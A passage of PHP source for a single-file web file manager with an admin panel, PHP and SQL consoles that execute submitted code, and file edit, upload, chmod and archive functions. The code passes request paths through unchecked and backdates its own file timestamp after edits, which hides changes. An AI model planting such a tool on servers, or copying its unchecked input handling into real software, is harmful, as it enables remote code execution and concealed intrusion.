yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

